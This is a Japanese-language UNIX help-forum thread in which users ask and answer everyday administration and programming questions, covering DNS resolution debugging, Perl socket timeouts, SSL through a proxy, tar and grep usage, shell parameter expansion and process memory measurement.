はじめまして。 HP-UX11のインストールをされた方がいらしたら幸いです。 質問があります。 locale -a で表示されていないロケールを、OSインストール後に、個別でインストールできるでしょうか?OSの入れなおししか、方法は無いでしょうか? # setenv LANG japanese を設定しても、Warningが出てしまいます。何とか個別でインストールしたいのですが・・・ 乱文ですみません。よろしくお願いします。 |
|
はじめまして 現在Solaris2.6 + iPlanet4.0 でWebサーバを利用しています。 先日CGIを使いたいとの要望がありiPlanetに対してCGIの設定を行った のですが、"Method Not Allow"というエラーがブラウザに表示され、 CGIを実行することができません。 原因がわかる方、ご教授願えないでしょうか。 iPlanetに対して行った設定は下記のようなものです。 <やりたいこと> 〜/cgi/ ディレクトリに設置したcgiファイルを実行したい 1.サーバマネージャで[Program]→[CGI Directory]を選択し、上記ディレクトリをURLにマッピング 2.サーバマネージャで[Program]→[CGI File Type]で上記ディレクトリを選択し、ON状態に設定 3.利用するCGIファイルのパーミッションに777を設定。とりあえず動かすのが目的なのでフルアクセスを許可してみました(^^; |
|
>>2861 has えー、混乱してきたのんでまとめると、 /etc/host.conf order hosts,bind /etc/resolv.conf nameserver 192.168.0.1 名前解決ができない。 netscape や perl -e "use Socket;print inet_ntoa(inet_aton('www.jp.freebsd.org'))" は NG。 nslookup, host, dig は OK。 → gethostbyname 系がダメっぽい。 dig は OK? NG? tcpdump の結果 netscape も perl も query 投げていないようだ。 strace dig の結果 socket(PF_INET, SOCK_STREAM, IPPROTO_IP) = 3 socket(PF_INET6, SOCK_STREAM, 0) = -1 ENOSYS (Function not implemented) socket(PF_INET6, SOCK_STREAM, 0) = -1 ENOSYS (Function not implemented) socket(PF_INET6, SOCK_STREAM, 0) = -1 EAFNOSUPPORT (Address family not supported by protocol) connect はしていないようだ (by has) → これは dig は名前解決できないという意味? nslookup と host が OK で、 dig が NG ならば、ちょっと理解できません。UDP は「connect して send」 「connect して send」の両方のやり方がありますが、dig は「conenct して send」するはず (てゆーか大抵の DNS クライアントは connect すると 思う)。 strace perl の結果 socket(PF_UNIX, SOCK_STREAM, 0) = 3 connect(3, {sin_family=AF_UNIX, path="/var/run/.nscd_socket"}, 110) = -1 ENOENT (No such file or directory) socket(PF_INET, SOCK_DGRAM, IPPROTO_IP) = 3 connect(3, {sin_family=AF_INET, sin_port=htons(53), sin_addr=inet_addr("192.168.0.1")}}, 28) = 0 socket(PF_INET, SOCK_DGRAM, IPPROTO_IP) = 3 connect(3, {sin_family=AF_INET, sin_port=htons(53), sin_addr=inet_addr("192.168.0.1")}}, 28) = 0 → perl (から呼ばれる libc の resolver) は正常動作していると思う。これで パケットが飛ばないなら、OS の TCP/IP スタックが腐ってるとしか…。でも nslookup や host は OK というなら違うのかなぁ。nslookup や host を strace するとどうなるんでしょう。 > [netstat -s]は、どういった項目をどのような観点から観察したらよいでしょうか? えー、UDP を投げた後 ICMP (かな?) が返ってくるサマを見て、何か わかるかなーと思いましたが、今考えるとおそらく netstat -s では 原因まではわからないでしょうね。netstat -s については、2〜3ヵ月 以内の UNIX USER に詳しく説明されていましたので (Solaris,FreeBSD, Linux の netstat -s の違いも含め)、興味があればそちらを。 あと、本当にお困りなら linux.or.jp あたりのメーリングリストで 質問した方が早いと思うですよ (もちろん解決しなくてもいいなら こっちで続けても構いません)。 |
|
>>2862 HP-UXSE > locale -a で表示されていないロケールを、OSインストール後に、 > 個別でインストールできるでしょうか? HP-UX は使ったことがないのでわかりません。僕は Solaris で同じ ことをする正しい方法を知りたい。 # 昔 ja_JP.eucJP ロケールが入ってなかった Solaris に、他の # Solaris マシンから/usr/share/locale/ja_JP.eucJP (だったかな?) # をごっそり持ってきて動かしたことがある。 >>2863 とも 残念ながら iPlanet も使ったことありませんのですよ。 |
|
>>2861 has そうそう、/etc/nsswitch.conf は hosts: files dns てな感じになってますか? |
|
>>2859 & 2860 レスありがとうございます >この目的を聞かせてください。connect で数分待ってしまうのがイヤだから >なんとかしたい、ということだと受け取ったのですが、 サーバーのサービスの監視が目的です。L4SW(サーバーロードバランサー)なんかだと 5秒間隔のSYNに3回連続で応答しなければ死んだと見なすなんてヘルスチェックを 良くやるのですが…、3分にもわたって6回連続で応答しない場合のみ死んだと見なす ってのはちょっと嬉しくないです #これ書いててL4SWが余ってるからそれでやっても良いことに気づいた…(^^; Writeのタイムアウトの方法は知りませんが、readのタイムアウトは以前 $selector->can_read あたりをやってみて上手くできていたような気がします >IO::Socket::INETなんて高級な物を何故そこで使うのかがわかりませんが、 低水準な物の存在を知らなかったので… Net::RawIP ってのは名前からして使えそうな気がします。ぐぐるで調べて 何件か出てきたので見てるところですが、ただ今のところ送るのはともかく その後どうやって受信したら良いかが良くわかってなかったりします まあAttackingに使うには良いのかも知れませんが |
|
>>2867 しっぽ であれば、ずっと connect しっぱなしで定期的にデータを 送り、返答がなければ異常とみなすのはどうでしょうか? で、connect のタイムアウトですが、IO::Socket のソースをちらっと 見て $SIG{ALRM} やら alarm やら書いてあったので、connect 時にも タイムアウトが働くはず…と思っていたのですが、実際に試してみると タイムアウトになりませんでした。なので、 $SIG{ALRM}=sub { print "SIGALRM!\n"; }; alarm(10); $socket = new IO::Socket::INET (...); alarm(0); こんな感じで。 |
|
>>2868 68user ちなみに connect 中に SIGALRM が飛んでくると $! (errno) には Interrupted system call が入ります。でも、IO::Socket は内部で $! が潰されてしまう ようですね。 そういう意味でも、KL さんのおっしゃるとおり高級なものを 使うのは避けた方がよいかも。 |
|
>>2867 しっぽ >何件か出てきたので見てるところですが、ただ今のところ送るのはともかく >その後どうやって受信したら良いかが良くわかってなかったりします sendメソッドがありますがrecvが無いですね。 前記の通りRawIPはlibpcapのラッパーなので、libpcapへのインターフェイス がPerlに露出されてます。キャプチャせよということでしょう。 http://search.cpan.org/doc/SKOLYCHEV/Net-RawIP-0.09d/RawIP/libpcap.pod halfscan.cを(Perlなり他の手段を経由するなりして)raw socketの使えるシェル から使えば一番手短に済んで良いと思いますけども。 Perlでなければならない理由が何かあるのでしょうか。また、監視対象のサービ スも何か分からないので、halfscan.cが一番汎用で楽です。 >まあAttackingに使うには良いのかも知れませんが どこがどのように良いのでしょう? >>2868 68user 「connectしっぱなしで対象サービスを監視しているサービスが 正常に動いているか」を監視するサービスが必要で、さらにその サービスを監視するサービスが...というのを考えつきました 笑 この循環を止めるには、せいぜいhalfscan.cを、切れない回線の 向こうにある落ちないOSから定期実行するか、もしくはしっぽさん の仰られるような信頼性の高い機械を使うしかないのでは。 |
|
>>2864 68user > 名前解決ができない。 nslookup,host,digは動作OKです。 > → これは dig は名前解決できないという意味? nslookup と host が OK で、 > dig が NG ならば、ちょっと理解できません。 strace digについては、dig自体は正常に動作し名前解決しているが、 ご指摘のsend()のコールが見つからないという意味です。 かわりにwrite()のコールがあるので、sendではなくwriteを使っているのでは と想像していますが、straceで表示されるwriteで送っている文字列(?)は 内容が意味不明で、writeがsendの代わりに使っていると断言する自信は ありません(dnsライブラリのソースや解説を見たわけではないので)。 実際には次のようになります。 % strace dig www.jp.freebsd.org >& strace-dig.txt % grep 'write(' strace-dig.txt write(4, "\t\0\0\0\5\0\0\0\2\0\377\277\266\3066\1\0\240\5\10\340"..., 148) = 148 write(4, "\200-(@\0\0\0\0\0\372\377\277\200T$@\10P<@\3@\0\200\0\0"..., 148) = 148 write(4, "\200-(@\0\0\0\0\20\372\377\277\220q$@XP<@\3@\0\200\0\0"..., 148) = 148 write(4, "\200-(@\0\0\0\0\0\372\377\277 \365$@\350\"\6\10\3@\0\200"..., 148) = 148 write(4, "\200-(@\1\0\0\0\2\4\0\0Ho\26@\320\371\377\2771\220\0@\334"..., 148) = 148 write(6, "\377\377\377\377", 4) = 4 write(4, "\200-(@\1\0\0\0\4\f\0\0\30V(@\260\214\'@\240\224;@\310"..., 148) = 148 write(4, "\200-(@\1\0\0\0\3\10\0\0\376\274\'@\340\"\6\10\260\230"..., 148) = 148 write(4, "\200-(@\2\0\0\0\0\0\0\0*\22:@t\241;@@0<@8\372\377\277\372"..., 148) = 148 > → perl (から呼ばれる libc の resolver) は正常動作していると思う。 確かに正常動作しているように見えます(想像ですが)。 ここで気づいたことがあるのですが、dnsを直接操作するコマンドと gethostbynameを呼んでいると思われるコマンドで互いのstraceの結果を見比べると、 dns処理のためにオープンしているライブラリが異なっているようです。 またネットを検索していて気づいたのですが、glib2.1.??あたりにバグが あるらしいです(情報自体は古いですが)。 もしかしたらバグのあるバージョンかもしれないので調べてみます (今回の名前解決とは関係のないバグかもしれませんが…)。 > netstat -s については、2〜3ヵ月以内の UNIX USER に詳しく説明されていましたので 見つけたら是非読んでみようと思います(書泉行き?)。 > あと、本当にお困りなら linux.or.jp あたりのメーリングリストで > 質問した方が早いと思うですよ (もちろん解決しなくてもいいなら > こっちで続けても構いません)。 解決しなくていいわけではないですが、まだねばりたいです。 いつまでも同じ話題でいいかげん飽きている、という気もしますが、 もう少しお付き合いくだせい。 |
|
>>2866 68user > そうそう、/etc/nsswitch.conf は > hosts: files dns > てな感じになってますか? ご指摘の記述は存在しました。 |
|
初めまして。たまにこのホームページにお邪魔させて頂いてます。 FreeBSDのFileSystemについて質問があります。 早速ですが、質問させていただきます。 iノード番号から、struct inodeまたはstruct dinodeを取得する関数(system call)があれば、その関数名を知りたいのですが。 どなたか、ご存知の方はいらっしゃいませんでしょうか? |
|
初めまして。すばらしいサイトですね! 私はまだunix初心者なので、貴サイトにはお世話になっております。 Mewについて調べたところ、 http://www.mew.org/index-j.html へのリンクが切れてました。 今は http://www.mew.org/index.html.ja もしくは http://www.mew.org/ で行けると思います。 これからも頑張ってください。 |
|
>>2873 kaworu > iノード番号から、struct inodeまたはstruct dinodeを > 取得する関数(system call)があれば たぶんないです。 struct inode や struct dinode は UFS にしか存在しないので、 UFS, NFS, DOS ,ext3, VFAT, FAT32 など、複数のファイルシステムを サポートしなければならないシステムコールとしては存在しないです。 もしやるなら /dev/da0c などのデバイスを直接オープンすること になると思いますが、clri, fsck, fsdb などのソースが参考に なるかもしれません。 >>2871 has > dns処理のためにオープンしているライブラリが異なっているようです。 とりあえず ldd でどのライブラリを使っているか見たり、nm や objdump でどの関数を使っているか調べてみるとよいかもしれません。 |
|
>>2875 68user > struct inode や struct dinode は UFS にしか存在しないので、 ああ、いきなり嘘を書いてしまった。 struct inode はメモリ内 inode なので、全ファイルシステムで 利用可能ですね。 |
|
はじめまして!!UNIX初心者なのですが、こちらには本当にお世話になっております。 素晴らしいサイトだと思います。 数あるコマンドリファレンス本がほとんど無用になりました。 でも先週、なぜかまったくアクセスできなくなってしまい、大変つらい思いをしました。 こんな聞き方失礼でしょうが、こちら、閉鎖されてしまう予定とかないですよね? もしなくなってしまったらとてつもなく悲しいです。業務にも支障が出てしまいます(悲しくて(笑)) もし一括ダウンロード等の仕組みがあったらぜひバックアップしておきたいくらいです。 ぜひぜひ永続を願わんことを・・・管理人様の労力を無視した勝手な発言で申し訳ありませんが。 |
|
はじめまして。いつもいつもUNIXの勉強でお世話になっています。 本当に素晴らしいサイトですね。 私もダウンロード等で保存しておきたいぐらいです。 市販の参考書よりもわかりやすく、とても参考になります。 これからもよろしくお願いします。 |
|
はじめまして。UNIX初心者なのが、いつもお世話になってます。 今、会社でHP−UNIX10.20を使用しています。(勉強中) DATテープにデータをバックアップするのにfbackupコマンドを使用しています。このfbackupでバックアップした内容を確認するコマンドって何ですか?ちなみにtar cvでバックアップした内容の確認はtar tvで確認できますよね?以上、ご存知の方教えてください。 |
|
>>2877 カトウ > でも先週、なぜかまったくアクセスできなくなってしまい、 > 大変つらい思いをしました。 8/2 あたりから 10日ほどマシンが落ちてました。マシンがリモートに あるため対応が遅くなり失礼しました。 > こちら、閉鎖されてしまう予定とかないですよね? 現時点では閉鎖予定はないですが、なにぶんにもタダで借りさせていただいて るものですから、マシンがクラッシュしたらどうなるかわかりません。そしたら どこかでサーバ探すでしょうが、それもいつになるかわかりませんし、移転の お知らせはできないかもしれません。 それまでに頑張って man と google だけで問題解決できるようになって ください。 >>2879 hiro man fbackup を読みましょう。 http://www.calpoly.edu/cgi-bin/man-cgi?fbackup 読むのが面倒なら、SEE ALSO の項目だけ見て、それっぽいコマンドを 試しましょう。僕は HP-UX を使ったことがないので、どれがそのコマンド なのかはわかりません。 |
|
シゲと申します。 今、red hat 7.1でパッケージソフト開発を行っています。 複数のプロセスが立ち上がるもので、それぞれのメモリー使用量を確認を行っています。 meminfoにより合計のメモリ使用量を測ると13Mぐらいしかないのに、それぞれのプロセスの /proc/(プロセス番号)/status のVmSizeを合計すると、150Mぐらいになってしまいます。 150Mは間違いなく間違っていると思います。 単プロセスのメモリ使用量ってほかに計り方がないのでしょうか? ご教授お願いします。 |
|
>>2881 シゲ 例えば、ls を同時に 2 プロセス実行していても、メモリ上に配置される /bin/ls の テキスト領域 (命令文の領域) は 1 つしかありません。同様に libc などのライブラリの テキスト領域も共有されます。そこらへんで食い違いが出ているのではないかと思います。 > 単プロセスのメモリ使用量ってほかに計り方がないのでしょうか? どーなんでしょうねー。status の Vm* を足したり引いたりしたら 計算できそうな気もしますが、正確なところはわかりません。 まぁ、ここらへんのテキスト領域をどう計算したいのかにもよると思います。 |
|
ご教授有難うございます。 帰りの電車の中で考えていたら、ひらめきました。 全プロセス立ち上げ時の,/proc/meminfoの全使用メモリ量から、測定したいプロセスをkillしたときの/proc/meminfoの全使用メモリ量を引けば良い気がしました。 しかし、考えてみれば68userさんのおっしゃるとおり、共有メモリが存在するから、正確な結果ではありませんね・・・。 こまったな・・・。 |
|
>>2883 シケ゛ 結局は用途次第なわけですが、普通の環境であれば daemon 類が libc を 使っているでしょうから、そこらへんは無視していいでしょう。 あとは、横軸: プロセス数、縦軸: メモリ使用量なグラフでも書いて、 「n クライアント、m リクエスト/sec だと XX MB 程度必要」 とか書いておけばいいんじゃないでしょうか。 # 手抜き? |
|
はじめまして。 いつもこちらのサイトにお世話になっています。 パスの設定のされていないコマンドにパスを設定するには どうすればよいのでしょうか(絶対パスでは実行できます) 初歩的な質問で恐縮ですがお教えいただけませんでしょうか。 よろしくお願いいたします。 |
|
>>2885 ホームズ % hoge hoge: Command not found. % /foo/bar/hoge (実行できる) という状況で、hoge とだけタイプすれば実行できるようにするには どうしたらよいか、ということですか? 環境変数を使うのが一番簡単でしょう。 % setenv PATH ${PATH}:/foo/bar (csh・tcsh 系) $ PATH=${PATH}:/foo/bar; export PATH (sh・bash 系) csh・tcsh 系なら set path=($path /foo/bar) でもいいです。 |
|
お返事ありがとうございます。 68userさんの言われたとおり設定したらできました。 どうもありがとうございました。 |
|
初めまして、よろしくおねがいします。 お聞きしたいことがあります。 tar xvzf .tgz して、うまく展開したのですが、 もう一度 練習で、やってみようと思うと、 Only one compression option permitted とでてしまいます。 一回しかできないという意味なのでしょうか? 一回、 .tgzを消して試しましたが、同じでした。 初歩的かもわかりませんがよろしくお願いします。 |
|
>>2888 26歳 > Only one compression option permitted 一つの圧縮オプションしか許されていない。 =複数の圧縮オプションを指定することはできない。 というわけで、Z・z・y・j などの圧縮形式を指定するオプションを、 複数個指定したのでしょう。 例えば tar zxvzf とか、tar xvZzf とか。 |
|
はじめまして、こんにちは。 環境:Redhat7.3 ログインしているユーザが、現在何処のディレクトリにいるか っていうのを調べることは可能でしょうか? 「who」のオプションであったりしますか? 宜しくお願いします。 |
|
>>2890 Bootick root 権限があるなら ps -ef eww で環境変数 PWD を見るとか、 /proc の下を覗いてみるとかですかねぇ。 root 権限がないなら無理ではないかと思います。 |
|
telnetやcgiを使って本IPをメモするソースがほしいのですが、どうしたらいいですか?それと出来れば設置方法も教えてほしいです。素人なのでまったく分かりません。PCに詳しい方、お願いします |
|
はじめまして。 先日 /dev/null が消えてしまい、少なからずシステムに影響が出てしまいました。 それまで安定稼動していたのに、何故突然消えてしまったのか原因がわかりません。サーバ上で特に作業はしていませんでした。 どなたか同じ現象に遭遇した方いらっしゃいませんか? |
|
はじめまして。 いつもお世話になっています。 Linuxにて「Proxy サーバ経由の SSL 通信」を行おうと考えております。 「ネットワークプログラミングの基礎知識」にSSL 通信の方法が 記載されていますが、Proxy 経由の方法が分からず、現在格闘中です。 Proxy サーバへの接続はできました(HTTP の通信は OK です)。 Linux & C言語の初心者で恐縮ですが、 これらの技術的なアドバイス・参考になるサイトなどがありましたら、 ご教授下さい。 よろしくお願いします。 |
|
>>2894 あきゆき 平文で、 CONNECT target.host.com:443 HTTP/1.0\r\n Host: target.host.com\r\n \r\n を送って、サーバから \r\n\r\n が来るまで読み込み (全データが到着するのを待つ)、その中に " 200 " が 含まれていれば接続成功。 その後は SSL でやりとりする、という方法で一応接続はできています。 (" 200 " が含まれていれば OK などという適当な方法以外の) まっとうな やり方は知りません |
|
>>2895 68user 早速のご返答、ありがとうございます。 ご指摘のように、"CONNECT 〜"を行い、サーバーから "HTTP/1.0 200 Connection established"という応答がきたので、 その後、下記の SSL の設定を行いました。 ---------- SSL_load_error_strings SSL_library_init SSL_CTX_new SSL_new SSL_set_fd SSL_connect←戻り値"0"が返されます。 ---------- SSL_connect で TLS/SSL handshake に失敗したので、 SSL_get_error 関数を実行すると "5"が返されました。 現在、これについて調査中ですが、原因が何か分かりますか? SSL のやりとりに問題がありますでしょうか? SSL のやりとりは、 「ネットワークプログラミングの基礎知識−SSL でアクセスしてみよう」の C言語のソースの「/* ここからが SSL */」以下と同様です。 (検証中のため、「SSL でアクセスしてみよう」と同じサイトにアクセスして、結果を得ようとしております) 何卒よろしくお願いします。 |
|
>>2896 あきゆき 先程の書込みで不足な情報を追加します。 SSL_get_error で返される値を記載します。 1.SSL_CTX_new(SSLv2_client_method()) →SSL_connect[返り値"0"]、SSL_get_error[返り値"6"] 2.SSL_CTX_new(SSLv3_client_method()) →SSL_connect[返り値"0"]、SSL_get_error[返り値"5"] 3.SSL_CTX_new(SSLv23_client_method()) →SSL_connect[返り値"0"]、SSL_get_error[返り値"5"] よろしくお願いします。 |
|
>>2897 あきゆき お手数をおかけしました。 「Proxy サーバ経由の SSL 通信」を行うことが出来ました。 Proxy サーバ経由で HTTPS サイトから下記の応答が返されました。 "You have successfully connected using SSL (SSLv2)." 先程の SSL_connect のエラー[返り値"0"]の原因は、 "CONNECT 〜"を送信後の Proxy からの応答待ちの個所でした。 ご迷惑をお掛けして申し訳ありませんでした。 ご返答頂きました 68user さん、誠にありがとうございました。 今後ともよろしくお願いします。 |
|
お世話になっています。場違いな質問だと思いますが質問させてください。 CVSでローカルでcommitすればサーバ上で自動的にupdateするようにしたく loginfoを編集したのですがうまくいきません。 質問が場違いと言ったのは、CVSサーバがUNIX系ではなくウインドウズ環境だからです。cvsntを使ってます。 いろいろ調べた結果loginfoに以下のように書けばよいとの事なんですが wincvsにてコミットするとエラーがでてしまいます。 diary (date; cat; (sleep 2; cd /home/hoge/diary; cvs -q update -d) &) >> $CVSROOT/CVSROOT/updatelog 2>&1 エラーはnot foundとCould Not Create Child Process (error 2)です。 /home/hoge/diaryや$CVSROOT/CVSROOT/updatelogな書き方がウインドウズでは適用できないと思い d:\diaryなどに書き換えても駄目でした。 具体的には loginfo: test2 (date; cat; (sleep 2; d: cd d:\cvs_test3; cvs -q update -d) &) >> d:\cvs\CVSROOT\updatelog 2>&1 (test2がモジュール名、cvs_test3がupdate先フォルダでいいんですよね?) エラー: Executable (date; cat; (sleep 2; d: cd d:\cvs_test3; cvs -q update -d) &) >> d:\cvs\CVSROOT\updatelog 2>&1 not found Could Not Create Child Process (error 2) ご存知の方、いらっしゃいましたらご伝授よろしくお願いします。 |
|
自己解決(?)しました。 cvsntを利用した場合、loginfoでの自動更新はできないようです。 WINサーバの場合、cygwinを使用する方法があるみたいなので その方法を試してみる事にします。 お騒がせしました。 |
|
はじめまして。お力を貸してください。 業務用に、ファイルをアップロードするPerl/CGIを作りました。 エラーもなく動作はしているのですが、巨大なファイルをアップロードするときに、かなりの時間がかかります。 具体的には167MBのファイルをアップロードするのに約40分かかりました。 同じ環境で、同じファイルをFTP(FTP.exe)を使用して転送すると、5分で処理が終了しました。 CGIで時間がかかる原因が、私のソースにあるのか、 CGIのバッファが関係しているのか、それとも他に原因があるのか、 原因の切り分けが出来ずに困っています。 通常、CGIで100MBのファイルをアップロードしようとすると どれくらいの時間で処理できるのでしょうか? また、どうすればFTPと同レベルの処理速度に出来るのでしょうか? ちなみに動作環境はUNIX、線は100BASE、Perl5。 アップロードするCGIにはCGI.pmやcgi-lib.pl等のモジュールは仕様していません。 (それが原因でしょうか?) サーバのログには以下のように出ています。 (1)[14:17:57] "GET /xxx/ファイル入力用.cgi?flg=1 HTTP/1.1" 200 3413 (2)[14:57:11] "POST /xxx/アップロード用.cgi HTTP/1.1" 200 841 アップロードを行う(2)に処理が移るまでに、40分かかっています。 ということは、データのバッファリングに40分かかっているということなのでしょうか? |
|
友人がRS/6000でTCP/IPのパケット情報をmili sec単位で取得しそれをレポートとして出力したいんですが何か方法はありますか? |
|
こんにちわ いつもお世話になってます。 grepコマンドである検索文字列と、 その次の行を検索すると言うことは、 出来ないでしょうか? たとえば、 ファイルの中身が ------------------- aaa\n(改行) bbb\n(改行) ccc\n(改行) aaa\n(改行) ddd\n(改行) eee\n(改行) ------------------- と言うファイルがあったときに、 aaa\n(改行) bbb\n(改行) aaa\n(改行) ddd\n(改行) という結果を返して貰うことは出来ないでしょうか? 宜しくお願いします。 |
|
>>2903 tomu http://x68000.startshop.co.jp/~68user/unix/pickup?grep をご覧ください。 |
|
Dさん 見逃してました numオプション ^^; ありがとうございました。 |
|
はじめまして。 はじめてで恐縮ですが、質問させてください。 sortコマンドでカンマ区切りのdatファイルを 1番目と7番目の項目をキーに昇順、 5番目と6番目の項目をキーに降順 という並べ替えをしたいのですが、可能でしょうか? よろしくご教授願います。 |
|
こんにちは。 HPを開いているのですが質問があります。 BBSの方にアクセス制限をかけたい人物がいるのですが どう、打ち込めばよいかわかりません。 BBSを借りている所に質問したのですが なかなか返事が返ってこないのでこちらに頼ろうと思い 来させて頂きました。m(__)m どうぞ宜しくお願い致します。 その人物のホスト名は↓ FLA1Aae071.kmm.mesh.ad.jp なんですが、*.kmm.mesh.ad.jpと打つと 全然似てない私の方まで制限がかかってしまいました。 どう打てば宜しいのでしょうか? すいませんが教えてください。m(__)m あと、HPに描いた絵などを無断に使用する人物を つきとめる事等はできますでしょうか? |
|
No.2906#MATSUさん お使いの言語はPerlですか? Perlメモ http://www.din.or.jp/~ohzaki/perl.htm#SortMulti に、複数項目でのソート方法が書いてありますね。 参考になりますでしょうか。 |
|
こんにちは。 初めて質問させていただきます。 Solalisのtarコマンドでファイルをtarファイルにまとめようとしたのですが、 "ディレクトリ階層が深くダンプできません" というエラーメッセージが出てうまくいきません。 コマンド:tar cvf tarファイル ./対象ディレクトリ 対処方法を知っている方がいたら、教えていただけませんでしょうか? よろしくお願いします。 |
|
こんにちは FreeBSDで鯖を立てながら Perlで簡単なCGIを作っております 質問があるのですが BBSなどでバイナリファイルのUPLoadは どのように送ればよいのでしょうか わかる方が居りましたらお答えをお願い申し上げます |
|
突然ですが、 以前このページで紹介していたUNIX関連の本を教えていただけないでしょうか。 |
|
>>2911 take 右上にある全文検索フォームで適当な単語を入れてみましょう。 「書籍 or 本 or 出版社 or 著者 or 訳者」てな感じで。 あとは http://bookshelves.tripod.co.jp/ とか。 |
|
こんにちは。突然ですが質問させて下さい。 プロセス番号0〜2の (swapper) /sbin/init -- (pagedaemon) プロセスの役割は何でしょうか? |
|
質問いたします。下記のコマンドの条件部分($NF ~ /'"$1"')の意味がいまいち理解できないので(「最後のフィールドの中から1フィールド目の値を含むもの」というところまでわかるのですが・・・)、ご教示ください。 ps -el | awk '($NF ~ /'"$1"'/) {print $4}' mypid =$$ |
|
今更ですが、わかるものだけ回答しておきます。 >>2901 かなっぺ > ということは、データのバッファリングに40分かかっていると > いうことなのでしょうか? web サーバが全データを受信し終わってから CGI プログラムを 起動しているのでしょう。本当にそうなのかどうかは、その 40分の 間に web サーバのプロセスのメモリ使用量がどう変化しているか 観察するといいでしょう。 >>2903 tomu > grepコマンドである検索文字列と、その次の行を検索すると言うことは、 > 出来ないでしょうか? GNU grep ならできますが、僕の試した限りでは Solaris 標準の grep でこれができませんでした。何かやり方はあるのでしょうか? grep で改行コードをひっかけられば解決なんですが。 >>2910 NT > BBSなどでバイナリファイルのUPLoadはどのように送ればよいのでしょうか テキストファイルのアップロードと全く同じでいけるはずです。 >>2913 (^^) > (swapper) > (pagedaemon) スワップ制御とページング制御をする (カーネル内の) プロセスです。 > /sbin/init -- http://X68000.startshop.co.jp/~68user/unix/pickup?init をどうぞ。 >>2914 G OS のバージョンと ps -el の結果とがないと、これの意図するところは わかりません。 > ps -el | awk '($NF ~ /'"$1"'/) {print $4}' mypid =$$ awk が解釈するのは '($NF ~ /' と '/) {print $4}' だけで、$1 の部分はシェルが 1つ目の引数に置換するはずです。 |
|
>>2915 68user 情報不足で申し訳ございませんでした。しかし、私の疑問は解決致しました。 $1はフィールドではなく、スクリプトの引数を示すということですね。 ありがとうございました。 |
|
下記のスクリプトはHP-UXの/etc/rc.configファイルなのですが,${CFG_FILE##*/}と${fname##*[.,~\#]}の解読ができません。 どうかご教示ください。よろしくお願い致します。 for CFG_FILE in /etc/rc.config.d/* /etc/TIMEZONE do fname=${CFG_FILE##*/} if [ -f $CFG_FILE -a "$fname" !="core" -a "${fname##*[.,~\#]}" = "$fname"] then . $CFG_FILE fi done |
|
今日簡単なタテケイの問題がありました。タブ区切りで ブック名 ファイル名 数値A 数値B 数値C ・・・ というファイルをブック名ごとにサマリーし、やはりタブ区切りで ブック名 Σ数値A Σ数値B Σ数値C ・・・ というファイルを作らなければならなかったのですが、 while(<STDIN>) { ($bname = $fname, $A, $B, $C) = split; $data{$bname}{A} += $A; $data{$bname}{B} += $B; $data{$bname}{C} += $C; } for $bname (sort keys %data) { print join, /\t/, $bname, $data{$bname}{A},$data{$bname}{B},$data{$bname}{C},"\n"; } とか書いたらどうしても数値が若干少なくなってしまいます。 数万行あって、ほとんどの行は合ってるんだけど 全体の数字が少ない、、。 しかも、カラム A と B は合ってるのに C だけ少ない。 よくよく見るとファイル名に空白が入ってて、 split /\t/ にしないといけなかったんでした。 しかも、ファイル名が空白のデータは特定のカラムにしか データがなかった。 ふつうこんな間違い方はしませんが、同時に複数の問題が 発生していて、すごくハマりました(泣) |
|
はじめまして。さっそくなんですが質問です。 掲示板CGIを改造してメール送信機能をつけたのですが、改行が反映されていなかったり、題名が文字化けしたりしてます。 ソースはhttp://www.starcity.ne.jp/~hide/0test/treebbs+.txtです。 元はhttp://www.starcity.ne.jp/~hide/0test/treebbs-.txtです。 #------------------メール送信機能-------------------------# open(MAIL,"| /usr/sbin/sendmail -t") || &error("送信できません。"); print MAIL <<"_MAIL_"; From: ars\@xx.xx To: hide_mkhs\@yahoo.co.jp MIME-Version: 1.0 Subject: A-train railway service X-Mailer: Sendmail Content-type: text/plain; charset=ISO-2022-JP Content-Transfer-Encoding: 7bit 投稿がありました。 名前:$name 題名:$subject メールアドレス:$mail ホームページ:$url メッセージ:$msg --------------------------------------- 投稿者情報 IP:$ip ホスト:$host --------------------------------------- A-train railway service(http://www.starcity.ne.jp/~ars/) _MAIL_ close(MAIL); #--------------------メール送信機能------------------------# こう書き加えたんですが… いま題名はA-train…ですが、日本語にすると文字化けしてしまい、来たメールは 投稿がありました。 名前:みー 題名:新規 メールアドレス:ars@starcity.ne.jp ホームページ:http://www.starcity.ne.jp/~ars/ メッセージ:<b>タグは‥?</b>どうでしょう? --------------------------------------- 投稿者情報 IP:218.133.200.111 ホスト:YahooBB218133200111.bbtec.net --------------------------------------- A-train railway service(http://www.starcity.ne.jp/~ars/) のように改行が反映されてなく、タグもみえみえです。しかも、レスの記号をあらわす">"は>となってしまいます。 どうすればいいのか教えてください。 |
|
>>2919 みー メールは HTML じゃなくてプレーンテキストなので、 タグが見え見えだったり改行がそのままだったりするんでしょう。 HTML 形式を維持するなら HTML メールをサポートしてるメーラーに HTML 形式のメールを送ればいいんじゃないでしょうか。 (その場合ヘッダはどうなるんでしょうね。 よくわかりません。よく広告とかで壁紙がついてきたりするから、 できることはわかっているのだが、、) 題名が文字化けなのは、ISO-2022-JP を正しく読み込んで ないからでしょう。ブラウザーが送ってくる文字はさまざまなので、 jcode.pl あたりで変換するとか。 |
|
こんにちは。 ちょっとわからないことが有ります。 ご存知の方は教えていただけますでしょうか。 cshで、 set str = "abc def" (←abcとdefの間は全角スペース) echo $stf とすると、 abc def (←abcとdefの間は半角スペース) と表示されてしまいます。 なんとかsetで設定した通りに(全角スペースをそのままに)出力したいのですが、 どのようにすれば良いでしょうか? |
|
>>2921(訂正) echo $stf ではなく echo $str でした。 |
|
>>2917 G > 下記のスクリプトはHP-UXの/etc/rc.configファイルなのですが, > ${CFG_FILE##*/}と${fname##*[.,~\#]}の解読ができません。 HP-UX の sh は知りませんが、FreeBSD の sh では ${parameter##word} 最長前置パターンの削除: まず word が展開され、その結果をパターン として扱います。パラメータ parameter の左から、パターンに一致する 最長の部分を削除した文字列に置換されます。 とあるので、多分同じでしょう。 > ${CFG_FILE##*/} basename(1) と同じでしょうね。 > ${fname##*[.,~\#]}" = "$fname" ファイル名に . , ~ # が含まれていないことをチェックしている のだと思います。 こういう場合は sh -x /etc/rc.config などとして、どういう ふうに解析されているのかを調べるというのも一つの手です。 >>2921 yuk > abc def (←abcとdefの間は半角スペース) > と表示されてしまいます。 そういう処理をする csh があるとは知らなかったので、OS 名を 教えてください。で、本題ですが echo "$str" でいけるんじゃ ないでしょうか。 |
|
2923> ご返答ありがとうございました。 sh -x コマンドは初めて知りました。 これから活用させていただきます。 |
|
あるプロセスのメモリ使用量を調べたいのですが、可能でしょうか? |
|
